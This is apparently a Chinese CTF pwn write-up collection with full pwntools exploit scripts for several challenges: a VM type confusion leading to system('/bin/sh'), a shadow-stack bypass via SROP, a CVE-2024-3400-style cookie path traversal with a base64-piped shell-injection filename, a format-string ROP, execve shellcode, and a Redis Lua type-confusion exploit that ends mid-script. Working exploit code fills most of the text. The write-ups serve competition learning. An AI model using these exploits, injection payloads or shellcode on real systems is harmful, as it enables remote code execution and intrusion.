values[rand_slot].data = &values这是后续一切地址计算的基址。
泄漏 libc 地址
使用 ADD 构造 puts@GOT 指针,再用 LOAD 读取实际地址:
计算
offset_puts = got.puts - &values(静态从 ELF 得到)ptr = values[rand_slot] + offset_putsputs_addr = *ptr
一旦拿到 puts 实际地址,而因为即使开始 PIE 和 ASLR,函数间偏移也是不变的,就可以计算:
system_addr = puts_addr + (system - puts)
binsh_addr = puts_addr + ("/bin/sh" - puts)伪造函数指针类型
system_addr 目前在一个“立即数槽位”中(tag=0),而 CALL 需要 tag=2。
利用 STORE 写 values[slot].tag = 2 即可完成类型伪造。
写入地址的计算方式:
tag_addr = &values + slot_index * 0x10用 rand_slot 指针加偏移算出 tag_addr,再 STORE 写入常数 2。
CALL system("/bin/sh")
当 system_addr 所在槽位被标记为 tag=2 后,直接使用 CALL 指令执行:
CALL system_slot, binsh_slot即可拿到 shell。
指令序列
核心思路:
CONST r_off_puts, offset_puts
ADD r_ptr_puts, rand_slot, r_off_puts
LOAD r_puts, r_ptr_puts
CONST r_off_system, offset_system
ADD r_system, r_puts, r_off_system
CONST r_off_binsh, offset_binsh
ADD r_binsh, r_puts, r_off_binsh
CONST r_tag_value, 2
CONST r_tag_off, slot_index*0x10
ADD r_tag_ptr, rand_slot, r_tag_off
STORE r_tag_ptr, r_tag_value
CALL r_system, r_binshexp
/bin/sh 可以用 libc 的,也可以直接写入槽位,本题是没有作什么限制,所以给出下面两个题解,第一个是用的 libc 的,第二个直接写入槽位,加了注释:
EXP1:
#!/usr/bin/env python3
from pwn import *
context(log_level="info", arch="amd64")
io = process("./vuln_patched")
# io = remote("localhost", 9999)
elf = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
OP_CONST = 0x3A
OP_ADD = 0x7E
OP_LOAD = 0x52
OP_STORE = 0xC4
OP_CALL = 0x1B
def cmd(c):
io.sendlineafter(b"> ", c.encode())
def inst(op, *args):
cmd(f"inst {op} " + " ".join(map(str, args)))
cmd("dbg")
io.recvuntil(b"[*] rand_slot = ")
rand_slot = int(io.recvline().strip())
log.success(f"rand_slot: {rand_slot}")
offset_puts = elf.got["puts"] - elf.symbols["values"]
offset_system = libc.symbols["system"] - libc.symbols["puts"]
offset_binsh = next(libc.search(b"/bin/sh\x00")) - libc.symbols["puts"]
inst(OP_CONST, 2, offset_puts)
inst(OP_ADD, 3, rand_slot, 2)
inst(OP_LOAD, 4, 3)
inst(OP_CONST, 5, offset_system)
inst(OP_ADD, 6, 4, 5)
inst(OP_CONST, 7, offset_binsh)
inst(OP_ADD, 8, 4, 7)
inst(OP_CONST, 9, 96)
inst(OP_ADD, 10, rand_slot, 9)
inst(OP_CONST, 12, 2)
inst(OP_STORE, 10, 12)
inst(OP_CALL, 6, 8)
cmd("run")
io.interactive()EXP2:
#!/usr/bin/env python3
from pwn import *
context(log_level="info", arch="amd64")
io = process("./vuln_patched")
# io = remote("localhost", 9999)
elf = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
OP_CONST = 0x3A
OP_ADD = 0x7E
OP_LOAD = 0x52
OP_STORE = 0xC4
OP_CALL = 0x1B
def cmd(c):
io.sendlineafter(b"> ", c.encode())
def inst(op, *args):
cmd(f"inst {op} " + " ".join(map(str, args)))
cmd("dbg")
io.recvuntil(b"[*] rand_slot = ")
rand_slot = int(io.recvline().strip())
log.success(f"rand_slot: {rand_slot}")
offset_puts = elf.got["puts"] - elf.symbols["values"]
offset_system = libc.symbols["system"] - libc.symbols["puts"]
# values[2] = offset_puts (TYPE_INT)
inst(OP_CONST, 2, offset_puts)
# values[3] = &values[0] + offset_puts = &puts_got (TYPE_PTR)
inst(OP_ADD, 3, rand_slot, 2)
# values[4] = *values[3] = puts@libc
inst(OP_LOAD, 4, 3)
# values[5] = offset_system (TYPE_INT)
inst(OP_CONST, 5, offset_system)
# values[6] = puts@libc + offset_system = system@libc
inst(OP_ADD, 6, 4, 5)
# values[7] = "/bin/sh\x00" (TYPE_INT)
inst(OP_CONST, 7, u64(b"/bin/sh\x00"))
# values[8] = 7 * 16 (sizeof(SSAValue)) + 8 (offsetof(data))
inst(OP_CONST, 8, 7 * 16 + 8)
# values[9] = &values[0] + offset_str = &values[7].data (TYPE_PTR)
inst(OP_ADD, 9, rand_slot, 8)
# values[10] = 96 (offset of values[6] -> 6*16)
inst(OP_CONST, 10, 96)
# values[11] = &values[0] + 96 = &values[6] (TYPE_PTR)
inst(OP_ADD, 11, rand_slot, 10)
# values[12] = 2 (TYPE_FUNC)
inst(OP_CONST, 12, 2)
# *values[11] = values[12] -> values[6].type = TYPE_FUNC
inst(OP_STORE, 11, 12)
# call values[6](values[9]) -> system("/bin/sh")
inst(OP_CALL, 6, 9)
cmd("run")
io.interactive()shadow
本题原意是打算模拟影子栈,考验各位师傅们如何在ret无法劫持的情况下通过栈溢出劫持程序流,但是在测试的时候发现栈上有一些有意思的残留数据,导致题目考点发生了一点微妙的变化(貌似防AI效果还不错)
题目设置
本题保护如下
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No该题手动实现了影子栈保护,在函数返回时会检测[rbp+8]的内容是不是原来的返回地址,如果与原来返回地址不符,就会将 本来的返回地址写入 [rbp+8]。
并且本题设置了异常信号处理函数 signal(11, handler);在发生 Segmentation fault(段错误)时会进入handler函数。
开启沙箱,沙箱规则如下
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0009: 0x06 0x00 0x00 0x00000000 return KILL只禁用了execve和execveat的系统调用
题目分析
在 sub_1460 函数中进行了 sub_1393 函数
先观察 sub_1393 函数(标灰处为影子栈检测代码片段)
void *sub_1393()
{
void *result; // rax
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
void *retaddr; // [rsp+18h] [rbp+8h]
*(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr;
if ( n256 > 256 )
exit(-1);
read(0, buf, 0x40u);
qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050);
qword_4068 = (__int64)retaddr;
result = retaddr;
if ( (void *)qword_4060 != retaddr )
{
result = (void *)qword_4060;
retaddr = (void *)qword_4060;
}
return result;
}存在明显的栈溢出,但是因为影子栈保护没有办法劫持程序流,能够修改的内容只有leave指令后的rbp指针,还有一些其他的栈数据。
在 sub_1393 函数返回后,发生了8字节的栈上读,并通过printf输出。
memset(s, 0, sizeof(s));
sub_1393();
read(0, s, 8u);
printf("%.8s", s);但是貌似没有什么用
如何劫持程序流
聪明的你一定会发现程序注册了异常信号处理函数,当发生段错误时就会进入 handler 函数
观察handler函数(发生段错误的异常处理函数)
void handler()
{
_BYTE buf[16]; // [rsp+10h] [rbp-10h] BYREF
void *retaddr; // [rsp+28h] [rbp+8h]
*(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr;
if ( n256 > 256 )
exit(-1);
read(0, buf, 0x120u);
qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050);
qword_4068 = (__int64)retaddr;
if ( (void *)qword_4060 != retaddr )
retaddr = (void *)qword_4060;
}发现存在明显的栈溢出,而且溢出字节数非常多,但同样出现了影子栈。
如果我们将 rbp 指针修改成不可读写的地址后,在进行 printf("%.8s", s);时就会触发段错误,进入handler函数
如果这里调试一下会发现,handler 运行后后会返回 __restore_rt 函数
► 0x7ffff7c45330 <__restore_rt> mov rax, 0xf RAX => 0xf
0x7ffff7c45337 <__restore_rt+7> syscall
0x7ffff7c45339 <__restore_rt+9> nop dword ptr [rax]这个函数会进行一个系统调用,即sigreturn,学习过SROP的人都知道,这个系统调用能通过栈上的值来恢复寄存器的,其中就包括 rip,而handler函数溢出的范围,刚好能把sigreturn系统调用时需要的sigcontext结构体覆盖,从而劫持程序流。
如何泄露地址
可是问题来了,我们想要构造sigcontext结构体,就需要程序的地址,可是程序基地址,libc基地址我们一个没有,在劫持程序流之前我们需要有起码一个地址。如何是好呢?🤔
像前文提到的:
本题实现了影子栈保护,在函数返回时会检测[rbp+8]的内容是不是原来的返回地址,如果与原来返回地址不符,就会将 本来的返回地址写入 [rbp+8]。
这种检测只适用于函数结尾进行的是leave; ret;的情况,程序中有没有不是通过leave; ret;返回的呢?
观察发现:main结尾使用的返回方式是pop rbp; ret;。这意味着对于main函数结束,该题的影子栈保护将手无缚鸡之力之力,几乎起不到作用(这需要控制sub_1460函数进行leave; ret;前rbp的值。因为main函数pop rbp; ret; 前rsp的值等于sub_1460函数执行leave; ret; 前 rbp-0x10 的值)。
在栈上可以看到这么一组数据
0x7fffffffdf28 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122)
0x7fffffffdf30 —▸ 0x7fffffffdf70
0x7fffffffdf38 —▸ 0x7fffffffe048
0x7fffffffdf40 ◂— 0x155554040
0x7fffffffdf48 —▸ 0x555555555638 (main) ◂— endbr64如果通过溢出将sub_1393函数结束后的rbp设置为0x7fffffffdf30(需要爆破低1字节),将会进行read(0, s, 8u);printf("%.8s", s);这里的 s 为rbp-8,我们通过仅覆盖一字节,printf就会把libc函数的地址输出给我们,随后进行影子栈检查,发现[rbp+8]发生更改就会把[rbp+8]修改为sub_1460原本的返回地址,leave; ret;后 rbp = 0x7fffffffdf70 , rsp = 0x7fffffffdf40,此时进行pop rbp; ret;便返回到main函数开头了。这个时候我们便有了libc地址,随后便可以打SROP了。
利用链
sub_1393 函数劫持 rbp 为特定的值(需要爆破) -> printf自动泄露 libc地址 -> main结束自动返回到main函数开头(重新进行)->sub_1393 函数劫持rbp 为不可读写段 ->printf触发段错误进入handler函数 -> 伪造sigcontext结构体进行SROP -> orw(这里就比较随意了,本exp是进行二次读写进行rop的orw)
Exp
注:本题需要爆破,所以本地运行时请开启alsr
from pwn import *
context(arch='amd64',log_level='debug',terminal=['tmux','splitw','-h'])
file = './pwn'
#io = remote("127.0.0.1",9999)
#io = process(file)
# io = gdb.debug(file,'b *$rebase(0x12AD)')
elf = ELF(file)
libc = elf.libc
# gdb.attach(io)
s = lambda data :io.send(data)
sa = lambda text,data :io.sendafter(text, data)
sl = lambda data :io.sendline(data)
sla = lambda text,data :io.sendlineafter(text, data)
r = lambda num=4096 :io.recv(num,timeout=1)
rl = lambda :io.recvline()
ru = lambda text :io.recvuntil(text)
uu32 = lambda :u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf = lambda s :info(f"{s} ==> 0x{eval(s):x}")
while 1 :
io = process(file)
#io = remote("127.0.0.1",9999)
try:
s(b'a'*0x10+b'\x70')
sleep(1)
s(b'a')
libc.address = u64(r(6).ljust(8,b'\x00'))-0x2a161
if ((libc.address >> 40) < 0x70) | ((libc.address >> 40) > 0x7f):
inf('libc.address')
raise exception
if libc.address ==0x74656d6cb200:
inf('libc.address')
raise exception
if (libc.address & 0xfff) != 0:
inf('libc.address')
raise exception
inf('libc.address')
# gdb.attach(io,'handle SIGSEGV noprint nostop pass\nb *$rebase(0x14D8)\nc')
srop = SigreturnFrame()
srop.rdx = 0x1000
srop.rsi = libc.address+0x203000+0x200
srop.rdi = 0
srop.rip = libc.sym['read']
srop.rsp = libc.address+0x203000+0x200
srop.rbp = libc.address+0x203000+0x400
s(b'a')
sleep(1)
s(b'a')
sleep(1)
s(b'a'*0x20+bytes(srop))
sleep(1)
# pause()
rdi = 0x000000000010f78b+libc.address
rsi = 0x0000000000110a7d+libc.address
rdx = 0x00000000000ab8a1+libc.address
rcx = 0x00000000000a877e+libc.address
pay = flat(
rsi,0,rdi,libc.address+0x203200+8*23,libc.sym['open'],
rdi,3,rcx,libc.address+0x204000,rdx,0x100,rsi,libc.address+0x205000,libc.sym['read'],
rdi,1,rsi,libc.address+0x205000,rcx,libc.address+0x204000,rdx,0x100,libc.sym['write']
)+ b'/flag\x00'
s(pay)
except EOFError:
io.close()
continue
except Exception:
io.close()
continue
io.interactive()
Uni_check
参考CVE-2024-3400
由 Go 语言编写的 Web 服务和一个 Python 完整性检查脚本。通过分析可以发现,服务端存在目录遍历和任意文件创建漏洞,结合 Python 脚本中的命令注入漏洞,最终可以实现远程命令执行(RCE)。
漏洞分析
攻击链主要由三个关键漏洞串联而成:
1. 任意文件创建
漏洞点位于 main_PreCheck 函数。该函数名具有欺骗性,其真实作用并非“检查”,而是创建一个文件。
void __golang main_PreCheck(string_0 path, error_0 _r0)
{
os_File_0 *v2; // rsi
error_0 v3; // r8
os_file_0 **v4; // rax
os_OpenFile(path, 64, 0x1A4u, v2, v3);
if ( !path.len )
{
if ( v4 )
os__ptr_file_close(*v4, *(error_0 *)&path.len);
}
}当 main_validateCookie 函数被调用时,它会使用用户传入的 Cookie 值构造一个路径,并调用 main_PreCheck,从而在服务器上创建一个空的、由用户指定路径的文件。
2. 目录遍历
漏洞点位于 validateCookie 函数中,cookieName 完全由用户控制。
void __golang main_validateCookie(string_0 cookieName, bool _r0)
{
...
v10 = 9;
v9.len = (int)&byte_72680E;
v11 = cookieName;
v14.array = (string_0 *)&v9.len;
v14.len = 2;
v14.cap = 2;
path_filepath_join(v14, v2);
v9.str = (uint8 *)v14.array;
name = 2;
main_PreCheck(*(string_0 *)&v14.array, *(error_0 *)((char *)&v2 - 8));
if ( !v14.array )
{
v12.str = v9.str;
v12.len = name;
os_ReadFile(v12, *(_slice_uint8_0 *)((char *)&v2 - 8), v4, v6, *(error_0 *)v7);
if ( !v2.str )
{
v13.len = (int)v5;
runtime_slicebytetostring((runtime_tmpBuf *)&v7[8], v5, name, v2);
strings_TrimSpace(v13, *(string_0 *)((char *)&v2 - 8));
}
}
}path_filepath_join 会解析路径,如果 cookieName 包含 ../,则 cookiePath 就会指向 COOKIE_DIR 的上级目录。例如,若 cookieName 为 ../../etc/passwd,则 cookiePath 就会变成 /etc/passwd,结合漏洞点1,即可在任意位置创建文件。
3. 命令注入
该漏洞存在于 check.py 脚本中。该脚本在清理非法文件时,直接将文件名拼接到 rm -f 命令中,并使用 shell=True 执行。
# check.py (简化)
delete_cmd = f"rm -f {self.base_dir}/{fname}"
subprocess.run(
delete_cmd,
shell=True,
#...
)如果一个文件名包含 shell 特殊字符(如 |, &&, ;),就会导致命令注入。
exp
#!/usr/bin/env python3
from pwn import *
target_host = "127.0.0.1"
target_port = 8888
r = remote(target_host, target_port)
r.send(b"GET / HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\n\r\n")
response = r.recvuntil(b"\r\n\r\n", timeout=2)
cookie = None
for line in response.split(b"\r\n"):
if b"Set-Cookie: session=" in line:
cookie = line.split(b"session=")[1].split(b";")[0].decode()
break
filename = "../123|echo Y2F0IC9mbGFnID4gLi9mbGFn | base64 -d | sh"
payload = f"GET / HTTP/1.1\r\nHost: {target_host}\r\nCookie: session={filename}\r\n\r\n"
r.send(payload.encode())
r.recvuntil(b"\r\n\r\n", timeout=2)
payload = f"GET /check HTTP/1.1\r\nHost: {target_host}\r\nCookie: session={cookie}\r\n\r\n"
r.send(payload.encode())
try:
r.recv(timeout=2)
except:
pass
r.interactive()speak
程序本质上就是一次非栈上和一次栈上的格式化字符串,先通过bss段的溢出到welcome,泄露出栈地址、libc地址和程序基地址,第二次直接修改printf函数的返回地址,跳转到构建的ROP链即可
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
io = remote('nc1.ctfplus.cn',44119)
#io = process('./pwn')
elf = ELF('./pwn')
lib = ELF('./libc.so.6')
pay = b'a'*0x20 + b'%6$p-%41$p-%45$p'
#gdb.attach(io)
io.sendafter(b'Input your name: ',pay)
io.recvuntil(b'0x')
ebp = int(io.recv(12),16) - 512
io.recvuntil(b'0x')
libc = int(io.recv(12),16) - 172490
io.recvuntil(b'0x')
main = int(io.recv(12),16)
bss = main + 11299 + 0x700
print(hex(ebp))
print(hex(libc))
print(hex(main))
rdi = libc + 0x000000000010f78b
rsi = libc + 0x0000000000110a7d
rdx_leave_ret = libc + 0x00000000000981ad
open_addr = libc + lib.sym['open']
read_addr = libc + lib.sym['read']
puts_addr = libc + lib.sym['puts']
ret = ebp + 8
s1 = (ebp + 0x40) & 0xffff
s2 = 0x100 + 0xec - (s1 & 0xff)
print(hex(ret))
flag = ebp + 0x70 + 72 + 16
payload = b'%' + str(s1).encode("utf-8") + b'c' + b'%10$hn'
payload += b'%' + str(s2).encode("utf-8") + b'c' + b'%11$hhn'
payload = payload.ljust(32,b'a')
payload += p64(ebp) + p64(ret)
payload += p64(ebp + 0x80)
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open_addr)
payload += p64(rdx_leave_ret) + p64(0x30) + p64(ebp - 0x20)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(read_addr)
payload += p64(rdi) + p64(bss) + p64(puts_addr) + b'flag\x00'
io.send(payload)
io.interactive()
什么?我不是汇编高手吗?
from花舞战队
Ida打开看 main 伪代码定跳转目标 + 偏移;mmap 申请 RW 内存并泄露其地址
找 getshell 地址计算 rel32 偏移
0x4011F6 为 getshell 地址,以泄露的 mmap 地址 v13 算 jmp rel32 偏移(rel32 = 目标地址 -(buf_addr+5)),需获取 v13、getshell 实际地址、待改 call/jmp 地址
import socket
import struct
import time
import sys
def solve():
HOST = 'nc1.ctfplus.cn'
PORT = 30501 # 添加端口号
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Read the leaked address
data = b""
while b'\n' not in data:
chunk = s.recv(1)
if not chunk: break
data += chunk
print(f"[*] Leaked info: {data.strip().decode()}")
# 解析泄露的地址
leaked_str = data.strip().decode()
if leaked_str.startswith('0x'):
leaked_addr = int(leaked_str, 16)
print(f"[*] Leaked address: {hex(leaked_addr)}")
# 计算shellcode位置(假设在泄露地址+0x100处)
shellcode_addr = leaked_addr + 0x100
print(f"[*] Target address: {hex(shellcode_addr)}")
chain = []
# Block 0: Jump to Block 1 data
chain.append(b'\x01\x00\x00\x00')
chunks = [
# execve("/bin//sh", 0, 0)
b'\x31\xf6', # xor rsi, rsi
b'\x56\x90', # push rsi (null terminator)
b'\x31\xc0', # xor eax, eax
# Word 4: 0x6873 ('sh')
b'\xb4\x68', # mov ah, 0x68
b'\xb0\x73', # mov al, 0x73
b'\x66\x50', # push ax
# Word 3: 0x2f2f ('//')
b'\xb4\x2f', # mov ah, 0x2f
b'\xb0\x2f', # mov al, 0x2f
b'\x66\x50', # push ax
# Word 2: 0x6e69 ('ni')
b'\xb4\x6e', # mov ah, 0x6e
b'\xb0\x69', # mov al, 0x69
b'\x66\x50', # push ax
# Word 1: 0x622f ('/b')
b'\xb4\x62', # mov ah, 0x62
b'\xb0\x2f', # mov al, 0x2f
b'\x66\x50', # push ax
# rdi = rsp
b'\x54\x5f', # push rsp; pop rdi
# rdx = 0
b'\x31\xd2', # xor edx, edx
# rax = 59
b'\x31\xc0', # xor eax, eax
b'\xb0\x3b', # mov al, 59
# syscall
b'\x0f\x05',
]
for c in chunks:
chain.append(c + b'\xeb\x01')
payload = b"".join(chain)
# 如果需要,可以在payload后面添加返回地址
# 假设需要覆盖返回地址到shellcode
if 'leaked_addr' in locals():
# 计算payload中的shellcode位置(在chain开始处)
# 添加一些填充然后覆盖返回地址
padding = b'A' * 64 # 调整这个值
payload = payload + padding + struct.pack('<Q', shellcode_addr)
print(f"[*] Sending payload of length {len(payload)}")
s.sendall(payload)
s.sendall(b'\n')
print("[*] Switching to interactive mode")
# Send commands automatically
time.sleep(1) # 增加等待时间
s.sendall(b"whoami\n")
time.sleep(0.5)
s.sendall(b"ls -la\n")
time.sleep(0.5)
s.sendall(b"cat /data/flag\n")
time.sleep(0.5)
s.sendall(b"cat flag\n")
time.sleep(0.5)
s.sendall(b"find / -name '*flag*' 2>/dev/null\n")
import select
while True:
r, w, e = select.select([s, sys.stdin], [], [])
if s in r:
try:
data = s.recv(4096)
if not data: break
sys.stdout.buffer.write(data)
sys.stdout.flush()
except:
break
if sys.stdin in r:
try:
data = sys.stdin.buffer.read1(1024)
if not data: break
s.sendall(data)
except:
break
if __name__ == "__main__":
solve()Uni_redis
为了调试方便可以先编译一个没去符号的版本(其实给的版本也没去,不过可以源码调试
wget https://download.redis.io/releases/redis-8.4.0.tar.gz
tar -xzf redis-8.4.0.tar.gz
cd redis-8.4.0
cp ../magic_field.patch ./
patch -p1 < magic_field.patch
make noopt -j8vuln
先认识一下lua5.1(redis内置版本)基本数据结构
由最基础的,value储存具体值,tt用于区分类型
#define TValuefields Value value; int tt
typedef struct lua_TValue {
TValuefields;
} TValue;tt由以下类型
// lua.h
#define LUA_TNONE (-1)
#define LUA_TNIL 0
#define LUA_TBOOLEAN 1
#define LUA_TLIGHTUSERDATA 2
#define LUA_TNUMBER 3
#define LUA_TSTRING 4
#define LUA_TTABLE 5
#define LUA_TFUNCTION 6
#define LUA_TUSERDATA 7
#define LUA_TTHREAD 8然后value进一步细分包括布尔以及数值,其中gc可以理解为是需要一定或未知空间大小的对象,其需要malloc的,同时定义成一种类型方便内置的GC机制回收垃圾
/*
** Union of all Lua values
*/
typedef union {
GCObject *gc;
void *p;
lua_Number n; // double
int b;
} Value;gc又可以进一步细分,包括字符串,函数,表
//tt,即该GC对象的具体类型
//next,指向GCObject的指针,用于GC算法内部实现链表
//marked,用于GC算法内部实现
#define CommonHeader GCObject *next; lu_byte tt; lu_byte marked
typedef struct GCheader {
CommonHeader;
} GCheader;
/*
** Union of all collectable objects
*/
union GCObject {
GCheader gch;
union TString ts;// 字符串
union Udata u;
union Closure cl;// 函数
struct Table h;// 表
struct Proto p;
struct UpVal uv;
struct lua_State th; /* thread */
};patch文件的魔改,可以让用户任意修改表内数组成员的TValue->tt的值在0~8内,可以认为是一个强制的类型混淆
leak
第一步就是泄漏堆的地址以及程序基地址,本质是没必要考虑libc地址的,因为redis本体足够大让我们找到可用的gadget用于ROP,且自带mprotect
先看TString本体,先是记住其字符串内容是紧跟结构体之后的
00000000 struct TString::$334A375AC6443D5F2F52B9E8A07B799F // sizeof=0x18
00000000 { // XREF: TString/r
00000000 GCObject *next;
00000008 lu_byte tt;
00000009 lu_byte marked;
0000000A lu_byte reserved;
0000000B // padding byte
0000000C unsigned int hash;
00000010 size_t len;
00000018 };如果我创建一个TString,则其对应的TValue肯定是指向堆的,因此通过混淆为number值,即可泄漏TString的地址,不过需要注意不能直接返回值,redis没法返回浮点数会被转换成整数,可以选择先将其tostring后返回处理
local tb = {}
tb[1] = tb
for i = 1, 6 do
table.magic_field(tb, 1)
end
return tostring(tb[1])由于泄漏的是浮点数,因此返回的浮点数可以通过struct库处理变成我们需要泄漏的地址
def double2int64(num):
p = struct.pack("<d", num)
up = struct.unpack("Q", p)
return up[0]接下来便要考虑泄漏程序基地址,先看看Table即表的本体
00000000 struct __attribute__((aligned(8))) Table // sizeof=0x48
00000000 { // XREF: GCObject/r
00000000 GCObject *next;
00000008 lu_byte tt;
00000009 lu_byte marked;
0000000A lu_byte flags;
0000000B // padding byte
0000000C int readonly;
00000010 lu_byte lsizenode;
00000011 // padding byte
00000012 // padding byte
00000013 // padding byte
00000014 // padding byte
00000015 // padding byte
00000016 // padding byte
00000017 // padding byte
00000018 Table *metatable;
00000020 TValue *array;
00000028 Node *node;
00000030 Node *lastfree;
00000038 GCObject *gclist;
00000040 int sizearray;
00000044 // padding byte
00000045 // padding byte
00000046 // padding byte
00000047 // padding byte
00000048 };调试的过程中,不难发现Table底层结构体其表未初始的状态下其node和lastfree成员里保存的是在程序地址段中的一个叫dummy的东西,通过泄漏其就能泄漏程序基地址。
接下来就是可以选择通过TString来伪造一个table让这个伪造的table的数组指向即array指向保存的node地址,接下来读取这个伪造的table即可获取
TString伪造也比较简单就是在一个字符串内写入伪造的table,然后将其转换成num,num再加上0x18(这个大小是TString结构体大小,加上后便指向写入的内容),处理后的num再转换为table即可
local tb = {{}}
tb[1] = {craft_Table(array_ptr=tb_Table+0x28, sizearray=2)}
for i = 1, 7 do
table.magic_field(tb, 1)
end
local a = tostring(tb[1])
return alocal tb = {{}}
tb[1] = {int642double(fake_Table)}
for i = 1, 2 do
table.magic_field(tb, 1)
end
for i = 1, 3 do
table.magic_field(tb[1], 1)
end
local a = tostring(tb[1][1])
return ahijack
接下来考虑劫持程序执行流,先认识一个结构体,可以认为该结构体是属于function类型的,不过其调用的是内置的c函数,lua_CFunction f便是保存c函数地址,因此如果能伪造一个CClosure结构体,将f指向自己想执行的gadget便能达到劫持的目的了
00000000 struct CClosure // sizeof=0x38
00000000 { // XREF: Closure/r
00000000 GCObject *next;
00000008 lu_byte tt;
00000009 lu_byte marked;
0000000A lu_byte isC;
0000000B lu_byte nupvalues;
0000000C // padding byte
0000000D // padding byte
0000000E // padding byte
0000000F // padding byte
00000010 GCObject *gclist;
00000018 Table *env;
00000020 lua_CFunction f;
00000028 TValue upvalue[1];
00000038 };伪造的方式和伪造table方式同理
可以发现其执行f函数时其rax是指向伪造CClosure结构体的开头,同时CClosure->next为我们可控,因此可以利用以下gadget,达到栈迁移
0x000000000021cf69, # mov rax, qword ptr [rax]; call qword ptr [rax + 0x20];
0x00000000001420ad, # push rax; add al, 0; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;伪造之前可以提前布局好的ROP链,程序自带mprotect,同时可以选择提前布局shellcode
基本流程泄漏基地址->布局shellcode并获取其地址->布局ROP链并获取其地址->伪造CClosure并获取其地址->最后执行伪造的函数
EXP
拿flag是通过在redis连接之前先用pwntools连接占用服务的fd-12的socket,后续flag直接写入该socket
为了方便理解以及写代码简单,则不是写一个完整lua代码,将上面全部过程搞定,而是分布完成,因此整个过程中会有一些布局会被释放后被修改,所以成功率较低
from redis import Redis
import redis
import sys
from pwn import *
import threading
dummy_node_offset = 0x32a160
tb_Table = 0
fake_Table = 0
code_base = 0
fake_CClosure = 0
shellcode_addr = 0
elf = ELF("redis-server")
def int642double(num):
p = struct.pack("Q", num)
up = struct.unpack("<d", p)
return up[0]
def double2int64(num):
p = struct.pack("<d", num)
up = struct.unpack("Q", p)
return up[0]
def bytes_to_lua_stringchar(data):
if not data:
return "string.char()"
hex_value = ', '.join(f'0x{byte:02X}' for byte in data)
return f'string.char({hex_value})'
def craft_Table( next_ptr=0, tt=0x05, marked=0, flags=0, readonly=0, lsizenode=0, metatable_ptr=0, array_ptr=0, node_ptr=0, lastfree_ptr=0, gclist_ptr=0, sizearray=0):
"""
struct Table {
GCObject *next;
lu_byte tt;
lu_byte marked;
lu_byte flags;
int readonly;
lu_byte lsizenode;
struct Table *metatable;
TValue *array;
Node *node;
Node *lastfree;
GCObject *gclist;
int sizearray;
}
"""
fmt = "@QBBBiBQQQQQi"
data = struct.pack(fmt, next_ptr, tt, marked, flags, readonly, lsizenode,
metatable_ptr, array_ptr, node_ptr, lastfree_ptr,
gclist_ptr, sizearray)
return data
def craft_CClosure(next_addr, func_addr):
"""
struct CClosure {
GCObject *next;
lu_byte tt;
lu_byte marked;
lu_byte isC;
lu_byte nupvalues;
GCObject *gclist;
Table *env;
lua_CFunction f;
Tvalue upvalue[1];
}
"""
fmt = "@QBBBBQQQQi"
data = struct.pack(fmt, next_addr, 6, 0, 1, 0, 0, 0, func_addr, 0, 0)
return data
def clean(r):
# This reset the jemalloc tcache being used, which is very useful for consistent bin addressing.
r.script_flush('SYNC')
print('[+] Clean all complate')
def craft_leak1():
script = """
local tb = {}
tb[1] = tb
for i = 1, 6 do
table.magic_field(tb, 1)
end
return tostring(tb[1])
"""
return script
def craft_leak2():
payload = craft_Table(array_ptr=tb_Table+0x28, sizearray=2)
script = f"""
local tb = {{}}
tb[1] = {bytes_to_lua_stringchar(payload)}
for i = 1, 7 do
table.magic_field(tb, 1)
end
local a = tostring(tb[1])
return a
"""
return script
def craft_leak3():
script = f"""
local tb = {{}}
tb[1] = {int642double(fake_Table)}
for i = 1, 2 do
table.magic_field(tb, 1)
end
for i = 1, 3 do
table.magic_field(tb[1], 1)
end
local a = tostring(tb[1][1])
return a
"""
return script
gad = [
0x000000000021cf69, # mov rax, qword ptr [rax]; call qword ptr [rax + 0x20];
0x00000000001420ad, # push rax; add al, 0; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
0x0000000000084cd2, # pop rdi; ret;
0x0000000000088de1, # pop rsi; ret;
0x00000000000cd5df, # pop rdx; ret;
elf.plt["mprotect"]
]
def craft_hijack0():
payload = b""
payload+= p64(gad[2]) + p64(0)
payload+= p64(gad[2]) + p64(gad[1])
payload+= p64(gad[2]) + p64(shellcode_addr&(~0xfff))
payload+= p64(gad[3]) + p64(0x2000)
payload+= p64(gad[4]) + p64(7)
payload+= p64(gad[5]) + p64(shellcode_addr)
script = f"""
local tb = {{}}
tb[1] = {bytes_to_lua_stringchar(payload)}
for i = 1, 7 do
table.magic_field(tb, 1)
end
local a = tostring(tb[1])
return a
"""
return script
def craft_hijack1():
payload = craft_CClosure(fake_stack-8, gad[0]) + p32(0)
script = f"""
local tb = {{}}
tb[1] = {bytes_to_lua_stringchar(payload)}
for i = 1, 7 do
table.magic_field(tb, 1)
end
local a = tostring(tb[1])
return a
"""
return script
def craft_hijack2():
context.arch = "amd64"
sc = shellcraft.open('/flag')
